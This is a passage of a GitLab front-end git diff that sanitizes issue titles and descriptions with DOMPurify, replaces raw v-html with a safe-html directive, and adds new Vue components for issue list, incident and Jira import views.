- pencilIcon() {
- return spriteIcon('pencil', 'link-highlight');
- },
- },
watch: {
titleHtml() {
this.setPageTitle();
@@ -67,25 +65,21 @@ export default {
<template>
<div class="title-container">
<h2
+ v-safe-html="titleHtml"
:class="{
'issue-realtime-pre-pulse': preAnimation,
'issue-realtime-trigger-pulse': pulseAnimation,
}"
class="title qa-title"
dir="auto"
- v-html="titleHtml"
></h2>
- <button
+ <gl-button
v-if="showInlineEditButton && canUpdate"
- v-tooltip
- type="button"
- class="btn btn-default btn-edit btn-svg js-issuable-edit
- qa-edit-button"
+ v-gl-tooltip.bottom
+ icon="pencil"
+ class="btn-edit js-issuable-edit qa-edit-button"
title="Edit title and description"
- data-placement="bottom"
- data-container="body"
@click="edit"
- v-html="pencilIcon"
- ></button>
+ />
</div>
</template>
diff --git a/app/assets/javascripts/issue_show/incident.js b/app/assets/javascripts/issue_show/incident.js
new file mode 100644
index 00000000000..a34e75ee64a
--- /dev/null
+++ b/app/assets/javascripts/issue_show/incident.js
@@ -0,0 +1,36 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import issuableApp from './components/app.vue';
+import incidentTabs from './components/incidents/incident_tabs.vue';
+
+Vue.use(VueApollo);
+
+export default function initIssuableApp(issuableData = {}) {
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ const { projectNamespace, projectPath, iid } = issuableData;
+
+ return new Vue({
+ el: document.getElementById('js-issuable-app'),
+ apolloProvider,
+ components: {
+ issuableApp,
+ },
+ provide: {
+ fullPath: `${projectNamespace}/${projectPath}`,
+ iid,
+ },
+ render(createElement) {
+ return createElement('issuable-app', {
+ props: {
+ ...issuableData,
+ descriptionComponent: incidentTabs,
+ showTitleBorder: false,
+ },
+ });
+ },
+ });
+}
diff --git a/app/assets/javascripts/issue_show/index.js b/app/assets/javascripts/issue_show/index.js
deleted file mode 100644
index e170d338408..00000000000
--- a/app/assets/javascripts/issue_show/index.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import Vue from 'vue';
-import issuableApp from './components/app.vue';
-import { parseIssuableData } from './utils/parse_data';
-
-export default function initIssueableApp() {
- return new Vue({
- el: document.getElementById('js-issuable-app'),
- components: {
- issuableApp,
- },
- render(createElement) {
- return createElement('issuable-app', {
- props: parseIssuableData(),
- });
- },
- });
-}
diff --git a/app/assets/javascripts/issue_show/issue.js b/app/assets/javascripts/issue_show/issue.js
new file mode 100644
index 00000000000..f9f61d5aa64
--- /dev/null
+++ b/app/assets/javascripts/issue_show/issue.js
@@ -0,0 +1,16 @@
+import Vue from 'vue';
+import issuableApp from './components/app.vue';
+
+export default function initIssuableApp(issuableData) {
+ return new Vue({
+ el: document.getElementById('js-issuable-app'),
+ components: {
+ issuableApp,
+ },
+ render(createElement) {
+ return createElement('issuable-app', {
+ props: issuableData,
+ });
+ },
+ });
+}
diff --git a/app/assets/javascripts/issue_show/stores/index.js b/app/assets/javascripts/issue_show/stores/index.js
index 0cd094243b9..c6f7e892f9b 100644
--- a/app/assets/javascripts/issue_show/stores/index.js
+++ b/app/assets/javascripts/issue_show/stores/index.js
@@ -1,3 +1,4 @@
+import { sanitize } from 'dompurify';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import updateDescription from '../utils/update_description';
@@ -27,8 +28,8 @@ export default class Store {
const details =
descriptionSection != null && descriptionSection.getElementsByTagName('details');
- this.state.descriptionHtml = updateDescription(data.description, details);
- this.state.titleHtml = data.title;
+ this.state.descriptionHtml = updateDescription(sanitize(data.description), details);
+ this.state.titleHtml = sanitize(data.title);
this.state.lock_version = data.lock_version;
}
diff --git a/app/assets/javascripts/issue_show/utils/parse_data.js b/app/assets/javascripts/issue_show/utils/parse_data.js
index 8cd1c1b0e56..a62a5167961 100644
--- a/app/assets/javascripts/issue_show/utils/parse_data.js
+++ b/app/assets/javascripts/issue_show/utils/parse_data.js
@@ -1,10 +1,22 @@
import { sanitize } from 'dompurify';
+// We currently load + parse the data from the issue app and related merge request
+let cachedParsedData;
+
export const parseIssuableData = () => {
try {
+ if (cachedParsedData) return cachedParsedData;
+
const initialDataEl = document.getElementById('js-issuable-app-initial-data');
- return JSON.parse(sanitize(initialDataEl.textContent).replace(/&quot;/g, '"'));
+ const parsedData = JSON.parse(initialDataEl.textContent.replace(/&quot;/g, '"'));
+
+ parsedData.initialTitleHtml = sanitize(parsedData.initialTitleHtml);
+ parsedData.initialDescriptionHtml = sanitize(parsedData.initialDescriptionHtml);
+
+ cachedParsedData = parsedData;
+
+ return parsedData;
} catch (e) {
console.error(e); // eslint-disable-line no-console
diff --git a/app/assets/javascripts/issue_status_select.js b/app/assets/javascripts/issue_status_select.js
index 75edff41a89..02b10730153 100644
--- a/app/assets/javascripts/issue_status_select.js
+++ b/app/assets/javascripts/issue_status_select.js
@@ -1,10 +1,11 @@
import $ from 'jquery';
import { __ } from './locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default function issueStatusSelect() {
$('.js-issue-status').each((i, el) => {
const fieldName = $(el).data('fieldName');
- return $(el).glDropdown({
+ initDeprecatedJQueryDropdown($(el), {
selectable: true,
fieldName,
toggleLabel(selected, element, instance) {
diff --git a/app/assets/javascripts/issues_list/components/issuable.vue b/app/assets/javascripts/issues_list/components/issuable.vue
new file mode 100644
index 00000000000..adfb234fe7a
--- /dev/null
+++ b/app/assets/javascripts/issues_list/components/issuable.vue
@@ -0,0 +1,432 @@
+<script>
+/*
+ * This is tightly coupled to projects/issues/_issue.html.haml,
+ * any changes done to the haml need to be reflected here.
+ */
+
+// TODO: need to move this component to graphql - https://gitlab.com/gitlab-org/gitlab/-/issues/221246
+import { escape, isNumber } from 'lodash';
+import {
+ GlLink,
+ GlTooltipDirective as GlTooltip,
+ GlSprintf,
+ GlLabel,
+ GlIcon,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
+import jiraLogo from '@gitlab/svgs/dist/illustrations/logos/jira.svg';
+import {
+ dateInWords,
+ formatDate,
+ getDayDifference,
+ getTimeago,
+ timeFor,
+ newDateAsLocaleTime,
+} from '~/lib/utils/datetime_utility';
+import { sprintf, __ } from '~/locale';
+import initUserPopovers from '~/user_popovers';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
+import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
+import { isScopedLabel } from '~/lib/utils/common_utils';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+
+import { convertToCamelCase } from '~/lib/utils/text_utility';
+
+export default {
+ i18n: {
+ openedAgo: __('opened %{timeAgoString} by %{user}'),
+ openedAgoJira: __('opened %{timeAgoString} by %{user} in Jira'),
+ },
+ components: {
+ IssueAssignees,
+ GlLink,
+ GlLabel,
+ GlIcon,
+ GlSprintf,
+ IssueHealthStatus: () =>
+ import('ee_component/related_items_tree/components/issue_health_status.vue'),
+ },
+ directives: {
+ GlTooltip,
+ SafeHtml,
+ },
+ mixins: [glFeatureFlagsMixin()],
+ props: {
+ issuable: {
+ type: Object,
+ required: true,
+ },
+ isBulkEditing: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ selected: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ baseUrl: {
+ type: String,
+ required: false,
+ default() {
+ return window.location.href;
+ },
+ },
+ },
+ data() {
+ return {
+ jiraLogo,
+ };
+ },
+ computed: {
+ milestoneLink() {
+ const { title } = this.issuable.milestone;
+
+ return this.issuableLink({ milestone_title: title });
+ },
+ scopedLabelsAvailable() {
+ return this.glFeatures.scopedLabels;
+ },
+ hasWeight() {
+ return isNumber(this.issuable.weight);
+ },
+ dueDate() {
+ return this.issuable.due_date ? newDateAsLocaleTime(this.issuable.due_date) : undefined;
+ },
+ dueDateWords() {
+ return this.dueDate ? dateInWords(this.dueDate, true) : undefined;
+ },
+ isOverdue() {
+ return this.dueDate ? this.dueDate < new Date() : false;
+ },
+ isClosed() {
+ return this.issuable.state === 'closed';
+ },
+ isJiraIssue() {
+ return this.issuable.external_tracker === 'jira';
+ },
+ linkTarget() {
+ return this.isJiraIssue ? '_blank' : null;
+ },
+ issueCreatedToday() {
+ return getDayDifference(new Date(this.issuable.created_at), new Date()) < 1;
+ },
+ labelIdsString() {
+ return JSON.stringify(this.issuable.labels.map(l => l.id));
+ },
+ milestoneDueDate() {
+ const { due_date: dueDate } = this.issuable.milestone || {};
+
+ return dueDate ? newDateAsLocaleTime(dueDate) : undefined;
+ },
+ milestoneTooltipText() {
+ if (this.milestoneDueDate) {
+ return sprintf(__('%{primary} (%{secondary})'), {
+ primary: formatDate(this.milestoneDueDate, 'mmm d, yyyy'),
+ secondary: timeFor(this.milestoneDueDate),
+ });
+ }
+ return __('Milestone');
+ },
+ issuableAuthor() {
+ return this.issuable.author;
+ },
+ issuableCreatedAt() {
+ return getTimeago().format(this.issuable.created_at);
+ },
+ popoverDataAttrs() {
+ const { id, username, name, avatar_url } = this.issuableAuthor;
+
+ return {
+ 'data-user-id': id,
+ 'data-username': username,
+ 'data-name': name,
+ 'data-avatar-url': avatar_url,
+ };
+ },
+ referencePath() {
+ return this.issuable.references.relative;
+ },
+ updatedDateString() {
+ return formatDate(new Date(this.issuable.updated_at), 'mmm d, yyyy h:MMtt');
+ },
+ updatedDateAgo() {
+ // snake_case because it's the same i18n string as the HAML view
+ return sprintf(__('updated %{time_ago}'), {
+ time_ago: escape(getTimeago().format(this.issuable.updated_at)),
+ });
+ },
+ issuableMeta() {
+ return [
+ {
+ key: 'merge-requests',
+ visible: this.issuable.merge_requests_count > 0,
+ value: this.issuable.merge_requests_count,
+ title: __('Related merge requests'),
+ dataTestId: 'merge-requests',
+ class: 'js-merge-requests',
+ icon: 'merge-request',
+ },
+ {
+ key: 'upvotes',
+ visible: this.issuable.upvotes > 0,
+ value: this.issuable.upvotes,
+ title: __('Upvotes'),
+ dataTestId: 'upvotes',
+ class: 'js-upvotes issuable-upvotes',
+ icon: 'thumb-up',
+ },
+ {
+ key: 'downvotes',
+ visible: this.issuable.downvotes > 0,
+ value: this.issuable.downvotes,
+ title: __('Downvotes'),
+ dataTestId: 'downvotes',
+ class: 'js-downvotes issuable-downvotes',
+ icon: 'thumb-down',
+ },
+ {
+ key: 'blocking-issues',
+ visible: this.issuable.blocking_issues_count > 0,
+ value: this.issuable.blocking_issues_count,
+ title: __('Blocking issues'),
+ dataTestId: 'blocking-issues',
+ href: `${this.issuable.web_url}#related-issues`,
+ icon: 'issue-block',
+ },
+ {
+ key: 'comments-count',
+ visible: !this.isJiraIssue,
+ value: this.issuable.user_notes_count,
+ title: __('Comments'),
+ dataTestId: 'notes-count',
+ href: `${this.issuable.web_url}#notes`,
+ class: { 'no-comments': !this.issuable.user_notes_count, 'issuable-comments': true },
+ icon: 'comments',
+ },
+ ];
+ },
+ healthStatus() {
+ return convertToCamelCase(this.issuable.health_status);
+ },
+ },
+ mounted() {
+ // TODO: Refactor user popover to use its own component instead of
+ // spawning event listeners on Vue-rendered elements.
+ initUserPopovers([this.$refs.openedAgoByContainer.$el]);
+ },
+ methods: {
+ issuableLink(params) {
+ return mergeUrlParams(params, this.baseUrl);
+ },
+ isScoped({ name }) {
+ return isScopedLabel({ title: name }) && this.scopedLabelsAvailable;
+ },
+ labelHref({ name }) {
+ if (this.isJiraIssue) {
+ return this.issuableLink({ 'labels[]': name });
+ }
+
+ return this.issuableLink({ 'label_name[]': name });
+ },
+ onSelect(ev) {
+ this.$emit('select', {
+ issuable: this.issuable,
+ selected: ev.target.checked,
+ });
+ },
+ issuableMetaComponent(href) {
+ return href ? 'gl-link' : 'span';
+ },
+ },
+
+ confidentialTooltipText: __('Confidential'),
+};
+</script>
+<template>
+ <li
+ :id="`issue_${issuable.id}`"
+ class="issue"
+ :class="{ today: issueCreatedToday, closed: isClosed }"
+ :data-id="issuable.id"
+ :data-labels="labelIdsString"
+ :data-url="issuable.web_url"
+ data-qa-selector="issue_container"
+ :data-qa-issue-title="issuable.title"
+ >
+ <div class="gl-display-flex">
+ <!-- Bulk edit checkbox -->
+ <div v-if="isBulkEditing" class="gl-mr-3">
+ <input
+ :id="`selected_issue_${issuable.id}`"
+ :checked="selected"
+ class="selected-issuable"
+ type="checkbox"
+ :data-id="issuable.id"
+ @input="onSelect"
+ />
+ </div>
+
+ <!-- Issuable info container -->
+ <!-- Issuable main info -->
+ <div class="gl-flex-grow-1">
+ <div class="title">
+ <span class="issue-title-text">
+ <gl-icon
+ v-if="issuable.confidential"
+ v-gl-tooltip
+ name="eye-slash"
+ class="gl-vertical-align-text-bottom"
+ :size="16"
+ :title="$options.confidentialTooltipText"
+ :aria-label="$options.confidentialTooltipText"
+ />
+ <gl-link
+ :href="issuable.web_url"
+ :target="linkTarget"
+ data-testid="issuable-title"
+ data-qa-selector="issue_link"
+ >{{ issuable.title
+ }}<gl-icon
+ v-if="isJiraIssue"
+ name="external-link"
+ class="gl-vertical-align-text-bottom gl-ml-2"
+ />
+ </gl-link>
+ </span>
+ <span
+ v-if="issuable.has_tasks"
+ class="gl-ml-2 task-status gl-display-none d-sm-inline-block"
+ >{{ issuable.task_status }}</span
+ >
+ </div>
+
+ <div class="issuable-info">
+ <span class="js-ref-path gl-mr-4 mr-sm-0">
+ <span
+ v-if="isJiraIssue"
+ v-safe-html="jiraLogo"
+ class="svg-container jira-logo-container"
+ data-testid="jira-logo"
+ ></span>
+ {{ referencePath }}
+ </span>
+
+ <span data-testid="openedByMessage" class="gl-display-none d-sm-inline-block gl-mr-4">
+ &middot;
+ <gl-sprintf
+ :message="isJiraIssue ? $options.i18n.openedAgoJira : $options.i18n.openedAgo"
+ >
+ <template #timeAgoString>
+ <span>{{ issuableCreatedAt }}</span>
+ </template>
+ <template #user>
+ <gl-link
+ ref="openedAgoByContainer"
+ v-bind="popoverDataAttrs"
+ :href="issuableAuthor.web_url"
+ :target="linkTarget"
+ >{{ issuableAuthor.name }}</gl-link
+ >
+ </template>
+ </gl-sprintf>
+ </span>
+
+ <gl-link
+ v-if="issuable.milestone"
+ v-gl-tooltip
+ class="gl-display-none d-sm-inline-block gl-mr-4 js-milestone milestone"
+ :href="milestoneLink"
+ :title="milestoneTooltipText"
+ >
+ <gl-icon name="clock" class="s16 gl-vertical-align-text-bottom" />
+ {{ issuable.milestone.title }}
+ </gl-link>
+
+ <span
+ v-if="dueDate"
+ v-gl-tooltip
+ class="gl-display-none d-sm-inline-block gl-mr-4 js-due-date"
+ :class="{ cred: isOverdue }"
+ :title="__('Due date')"
+ >
+ <i class="fa fa-calendar"></i>
+ {{ dueDateWords }}
+ </span>
+
+ <span
+ v-if="hasWeight"
+ v-gl-tooltip
+ :title="__('Weight')"
+ class="gl-display-none d-sm-inline-block gl-mr-4"
+ data-testid="weight"
+ data-qa-selector="issuable_weight_content"
+ >
+ <gl-icon name="weight" class="align-text-bottom" />
+ {{ issuable.weight }}
+ </span>
+
+ <issue-health-status
+ v-if="issuable.health_status"
+ :health-status="healthStatus"
+ class="gl-mr-4 issuable-tag-valign"
+ />
+
+ <gl-label
+ v-for="label in issuable.labels"
+ :key="label.id"
+ data-qa-selector="issuable-label"
+ :target="labelHref(label)"
+ :background-color="label.color"
+ :description="label.description"
+ :color="label.text_color"
+ :title="label.name"
+ :scoped="isScoped(label)"
+ size="sm"
+ class="gl-mr-2 issuable-tag-valign"
+ >{{ label.name }}</gl-label
+ >
+ </div>
+ </div>
+
+ <!-- Issuable meta -->
+ <div
+ class="gl-flex-shrink-0 gl-display-flex gl-flex-direction-column align-items-end gl-justify-content-center"
+ >
+ <div class="controls gl-display-flex">
+ <span v-if="isJiraIssue" data-testid="issuable-status">{{ issuable.status }}</span>
+ <span v-else-if="isClosed" class="issuable-status">{{ __('CLOSED') }}</span>
+
+ <issue-assignees
+ :assignees="issuable.assignees"
+ class="gl-align-items-center gl-display-flex gl-ml-3"
+ :icon-size="16"
+ img-css-classes="gl-mr-2!"
+ :max-visible="4"
+ />
+
+ <template v-for="meta in issuableMeta">
+ <span
+ v-if="meta.visible"
+ :key="meta.key"
+ v-gl-tooltip
+ class="gl-display-none gl-display-sm-flex gl-align-items-center gl-ml-3"
+ :class="meta.class"
+ :data-testid="meta.dataTestId"
+ :title="meta.title"
+ >
+ <component :is="issuableMetaComponent(meta.href)" :href="meta.href">
+ <gl-icon v-if="meta.icon" :name="meta.icon" />
+ {{ meta.value }}
+ </component>
+ </span>
+ </template>
+ </div>
+ <div v-gl-tooltip class="issuable-updated-at" :title="updatedDateString">
+ {{ updatedDateAgo }}
+ </div>
+ </div>
+ </div>
+ </li>
+</template>
diff --git a/app/assets/javascripts/issues_list/components/issuables_list_app.vue b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
new file mode 100644
index 00000000000..0d4f5bce965
--- /dev/null
+++ b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
@@ -0,0 +1,424 @@
+<script>
+import { toNumber, omit } from 'lodash';
+import {
+ GlEmptyState,
+ GlPagination,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
+import { deprecatedCreateFlash as flash } from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import {
+ scrollToElement,
+ urlParamsToObject,
+ historyPushState,
+ getParameterByName,
+} from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
+import initManualOrdering from '~/manual_ordering';
+import Issuable from './issuable.vue';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import {
+ sortOrderMap,
+ availableSortOptionsJira,
+ RELATIVE_POSITION,
+ PAGE_SIZE,
+ PAGE_SIZE_MANUAL,
+ LOADING_LIST_ITEMS_LENGTH,
+} from '../constants';
+import { setUrlParams } from '~/lib/utils/url_utility';
+import issueableEventHub from '../eventhub';
+import { emptyStateHelper } from '../service_desk_helper';
+
+export default {
+ LOADING_LIST_ITEMS_LENGTH,
+ directives: {
+ SafeHtml,
+ },
+ components: {
+ GlEmptyState,
+ GlPagination,
+ GlSkeletonLoading,
+ Issuable,
+ FilteredSearchBar,
+ },
+ props: {
+ canBulkEdit: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ emptyStateMeta: {
+ type: Object,
+ required: true,
+ },
+ endpoint: {
+ type: String,
+ required: true,
+ },
+ projectPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ sortKey: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ type: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ availableSortOptionsJira,
+ filters: {},
+ isBulkEditing: false,
+ issuables: [],
+ loading: false,
+ page:
+ getParameterByName('page', window.location.href) !== null
+ ? toNumber(getParameterByName('page'))
+ : 1,
+ selection: {},
+ totalItems: 0,
+ };
+ },
+ computed: {
+ allIssuablesSelected() {
+ // WARNING: Because we are only keeping track of selected values
+ // this works, we will need to rethink this if we start tracking
+ // [id]: false for not selected values.
+ return this.issuables.length === Object.keys(this.selection).length;
+ },
+ emptyState() {
+ if (this.issuables.length) {
+ return {}; // Empty state shouldn't be shown here
+ }
+
+ if (this.isServiceDesk) {
+ return emptyStateHelper(this.emptyStateMeta);
+ }
+
+ if (this.hasFilters) {
+ return {
+ title: __('Sorry, your filter produced no results'),
+ svgPath: this.emptyStateMeta.svgPath,
+ description: __('To widen your search, change or remove filters above'),
+ primaryLink: this.emptyStateMeta.createIssuePath,
+ primaryText: __('New issue'),
+ };
+ }
+
+ if (this.filters.state === 'opened') {
+ return {
+ title: __('There are no open issues'),
+ svgPath: this.emptyStateMeta.svgPath,
+ description: __('To keep this project going, create a new issue'),
+ primaryLink: this.emptyStateMeta.createIssuePath,
+ primaryText: __('New issue'),
+ };
+ } else if (this.filters.state === 'closed') {
+ return {
+ title: __('There are no closed issues'),
+ svgPath: this.emptyStateMeta.svgPath,
+ };
+ }
+
+ return {
+ title: __('There are no issues to show'),
+ svgPath: this.emptyStateMeta.svgPath,
+ description: __(
+ 'The Issue Tracker is the place to add things that need to be improved or solved in a project. You can register or sign in to create issues for this project.',
+ ),
+ };
+ },
+ hasFilters() {
+ const ignored = ['utf8', 'state', 'scope', 'order_by', 'sort'];
+ return Object.keys(omit(this.filters, ignored)).length > 0;
+ },
+ isManualOrdering() {
+ return this.sortKey === RELATIVE_POSITION;
+ },
+ itemsPerPage() {
+ return this.isManualOrdering ? PAGE_SIZE_MANUAL : PAGE_SIZE;
+ },
+ baseUrl() {
+ return window.location.href.replace(/(\?.*)?(#.*)?$/, '');
+ },
+ paginationNext() {
+ return this.page + 1;
+ },
+ paginationPrev() {
+ return this.page - 1;
+ },
+ paginationProps() {
+ const paginationProps = { value: this.page };
+
+ if (this.totalItems) {
+ return {
+ ...paginationProps,
+ perPage: this.itemsPerPage,
+ totalItems: this.totalItems,
+ };
+ }
+
+ return {
+ ...paginationProps,
+ prevPage: this.paginationPrev,
+ nextPage: this.paginationNext,
+ };
+ },
+ isServiceDesk() {
+ return this.type === 'service_desk';
+ },
+ isJira() {
+ return this.type === 'jira';
+ },
+ initialFilterValue() {
+ const value = [];
+ const { search } = this.getQueryObject();
+
+ if (search) {
+ value.push(search);
+ }
+ return value;
+ },
+ initialSortBy() {
+ const { sort } = this.getQueryObject();
+ return sort || 'created_desc';
+ },
+ },
+ watch: {
+ selection() {
+ // We need to call nextTick here to wait for all of the boxes to be checked and rendered
+ // before we query the dom in issuable_bulk_update_actions.js.
+ this.$nextTick(() => {
+ issueableEventHub.$emit('issuables:updateBulkEdit');
+ });
+ },
+ issuables() {
+ this.$nextTick(() => {
+ initManualOrdering();
+ });
+ },
+ },
+ mounted() {
+ if (this.canBulkEdit) {
+ this.unsubscribeToggleBulkEdit = issueableEventHub.$on('issuables:toggleBulkEdit', val => {
+ this.isBulkEditing = val;
+ });
+ }
+ this.fetchIssuables();
+ },
+ beforeDestroy() {
+ issueableEventHub.$off('issuables:toggleBulkEdit');
+ },
+ methods: {
+ isSelected(issuableId) {
+ return Boolean(this.selection[issuableId]);
+ },
+ setSelection(ids) {
+ ids.forEach(id => {
+ this.select(id, true);
+ });
+ },
+ clearSelection() {
+ this.selection = {};
+ },
+ select(id, isSelect = true) {
+ if (isSelect) {
+ this.$set(this.selection, id, true);
+ } else {
+ this.$delete(this.selection, id);
+ }
+ },
+ fetchIssuables(pageToFetch) {
+ this.loading = true;
+
+ this.clearSelection();
+
+ this.setFilters();
+
+ return axios
+ .get(this.endpoint, {
+ params: {
+ ...this.filters,
+
+ with_labels_details: true,
+ page: pageToFetch || this.page,
+ per_page: this.itemsPerPage,
+ },
+ })
+ .then(response => {
+ this.loading = false;
+ this.issuables = response.data;
+ this.totalItems = Number(response.headers['x-total']);
+ this.page = Number(response.headers['x-page']);
+ })
+ .catch(() => {
+ this.loading = false;
+ return flash(__('An error occurred while loading issues'));
+ });
+ },
+ getQueryObject() {
+ return urlParamsToObject(window.location.search);
+ },
+ onPaginate(newPage) {
+ if (newPage === this.page) return;
+
+ scrollToElement('#content-body');
+
+ // NOTE: This allows for the params to be updated on pagination
+ historyPushState(
+ setUrlParams({ ...this.filters, page: newPage }, window.location.href, true),
+ );
+
+ this.fetchIssuables(newPage);
+ },
+ onSelectAll() {
+ if (this.allIssuablesSelected) {
+ this.selection = {};
+ } else {
+ this.setSelection(this.issuables.map(({ id }) => id));
+ }
+ },
+ onSelectIssuable({ issuable, selected }) {
+ if (!this.canBulkEdit) return;
+
+ this.select(issuable.id, selected);
+ },
+ setFilters() {
+ const {
+ label_name: labels,
+ milestone_title: milestoneTitle,
+ 'not[label_name]': excludedLabels,
+ 'not[milestone_title]': excludedMilestone,
+ ...filters
+ } = this.getQueryObject();
+
+ // TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/227880
+
+ if (milestoneTitle) {
+ filters.milestone = milestoneTitle;
+ }
+ if (Array.isArray(labels)) {
+ filters.labels = labels.join(',');
+ }
+ if (!filters.state) {
+ filters.state = 'opened';
+ }
+
+ if (excludedLabels) {
+ filters['not[labels]'] = excludedLabels;
+ }
+
+ if (excludedMilestone) {
+ filters['not[milestone]'] = excludedMilestone;
+ }
+
+ Object.assign(filters, sortOrderMap[this.sortKey]);
+
+ this.filters = filters;
+ },
+ refetchIssuables() {
+ const ignored = ['utf8'];
+ const params = omit(this.filters, ignored);
+
+ historyPushState(setUrlParams(params, window.location.href, true, true));
+ this.fetchIssuables();
+ },
+ handleFilter(filters) {
+ let search = null;
+
+ filters.forEach(filter => {
+ if (typeof filter === 'string') {
+ search = filter;
+ }
+ });
+
+ this.filters.search = search;
+ this.page = 1;
+
+ this.refetchIssuables();
+ },
+ handleSort(sort) {
+ this.filters.sort = sort;
+ this.page = 1;
+
+ this.refetchIssuables();
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <filtered-search-bar
+ v-if="isJira"
+ :namespace="projectPath"
+ :search-input-placeholder="__('Search Jira issues')"
+ :tokens="[]"
+ :sort-options="availableSortOptionsJira"
+ :initial-filter-value="initialFilterValue"
+ :initial-sort-by="initialSortBy"
+ class="row-content-block"
+ @onFilter="handleFilter"
+ @onSort="handleSort"
+ />
+ <ul v-if="loading" class="content-list">
+ <li v-for="n in $options.LOADING_LIST_ITEMS_LENGTH" :key="n" class="issue gl-px-5! gl-py-5!">
+ <gl-skeleton-loading />
+ </li>
+ </ul>
+ <div v-else-if="issuables.length">
+ <div v-if="isBulkEditing" class="issue px-3 py-3 border-bottom border-light">
+ <input
+ id="check-all-issues"
+ type="checkbox"
+ :checked="allIssuablesSelected"
+ class="mr-2"
+ @click="onSelectAll"
+ />
+ <strong>{{ __('Select all') }}</strong>
+ </div>
+ <ul
+ class="content-list issuable-list issues-list"
+ :class="{ 'manual-ordering': isManualOrdering }"
+ >
+ <issuable
+ v-for="issuable in issuables"
+ :key="issuable.id"
+ class="pr-3"
+ :class="{ 'user-can-drag': isManualOrdering }"
+ :issuable="issuable"
+ :is-bulk-editing="isBulkEditing"
+ :selected="isSelected(issuable.id)"
+ :base-url="baseUrl"
+ @select="onSelectIssuable"
+ />
+ </ul>
+ <div class="mt-3">
+ <gl-pagination
+ v-bind="paginationProps"
+ class="gl-justify-content-center"
+ @input="onPaginate"
+ />
+ </div>
+ </div>
+ <gl-empty-state
+ v-else
+ :title="emptyState.title"
+ :svg-path="emptyState.svgPath"
+ :primary-button-link="emptyState.primaryLink"
+ :primary-button-text="emptyState.primaryText"
+ >
+ <template #description>
+ <div v-safe-html="emptyState.description"></div>
+ </template>
+ </gl-empty-state>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues_list/components/jira_issues_list_root.vue b/app/assets/javascripts/issues_list/components/jira_issues_list_root.vue
new file mode 100644
index 00000000000..61781c576c0
--- /dev/null
+++ b/app/assets/javascripts/issues_list/components/jira_issues_list_root.vue
@@ -0,0 +1,112 @@
+<script>
+import { GlAlert, GlLabel } from '@gitlab/ui';
+import { last } from 'lodash';
+import { n__ } from '~/locale';
+import getIssuesListDetailsQuery from '../queries/get_issues_list_details.query.graphql';
+import {
+ calculateJiraImportLabel,
+ isInProgress,
+ setFinishedAlertHideMap,
+ shouldShowFinishedAlert,
+} from '~/jira_import/utils/jira_import_utils';
+
+export default {
+ name: 'JiraIssuesList',
+ components: {
+ GlAlert,
+ GlLabel,
+ },
+ props: {
+ canEdit: {
+ type: Boolean,
+ required: true,
+ },
+ isJiraConfigured: {
+ type: Boolean,
+ required: true,
+ },
+ issuesPath: {
+ type: String,
+ required: true,
+ },
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ jiraImport: {},
+ };
+ },
+ apollo: {
+ jiraImport: {
+ query: getIssuesListDetailsQuery,
+ variables() {
+ return {
+ fullPath: this.projectPath,
+ };
+ },
+ update: ({ project }) => {
+ const label = calculateJiraImportLabel(
+ project.jiraImports.nodes,
+ project.issues.nodes.flatMap(({ labels }) => labels.nodes),
+ );
+ return {
+ importedIssuesCount: last(project.jiraImports.nodes)?.importedIssuesCount,
+ label,
+ shouldShowFinishedAlert: shouldShowFinishedAlert(label.title, project.jiraImportStatus),
+ shouldShowInProgressAlert: isInProgress(project.jiraImportStatus),
+ };
+ },
+ skip() {
+ return !this.isJiraConfigured || !this.canEdit;
+ },
+ },
+ },
+ computed: {
+ finishedMessage() {
+ return n__(
+ '%d issue successfully imported with the label',
+ '%d issues successfully imported with the label',
+ this.jiraImport.importedIssuesCount,
+ );
+ },
+ labelTarget() {
+ return `${this.issuesPath}?label_name[]=${encodeURIComponent(this.jiraImport.label.title)}`;
+ },
+ },
+ methods: {
+ hideFinishedAlert() {
+ setFinishedAlertHideMap(this.jiraImport.label.title);
+ this.jiraImport.shouldShowFinishedAlert = false;
+ },
+ hideInProgressAlert() {
+ this.jiraImport.shouldShowInProgressAlert = false;
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="issuable-list-root">
+ <gl-alert v-if="jiraImport.shouldShowInProgressAlert" @dismiss="hideInProgressAlert">
+ {{ __('Import in progress. Refresh page to see newly added issues.') }}
+ </gl-alert>
+
+ <gl-alert
+ v-if="jiraImport.shouldShowFinishedAlert"
+ variant="success"
+ @dismiss="hideFinishedAlert"
+ >
+ {{ finishedMessage }}
+ <gl-label
+ :background-color="jiraImport.label.color"
+ scoped
+ size="sm"
+ :target="labelTarget"
+ :title="jiraImport.label.title"
+ />
+ </gl-alert>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuables_list/constants.js b/app/assets/javascripts/issues_list/constants.js
index f008ba1bf4a..f008ba1bf4a 100644
--- a/app/assets/javascripts/issuables_list/constants.js
+++ b/app/assets/javascripts/issues_list/constants.js
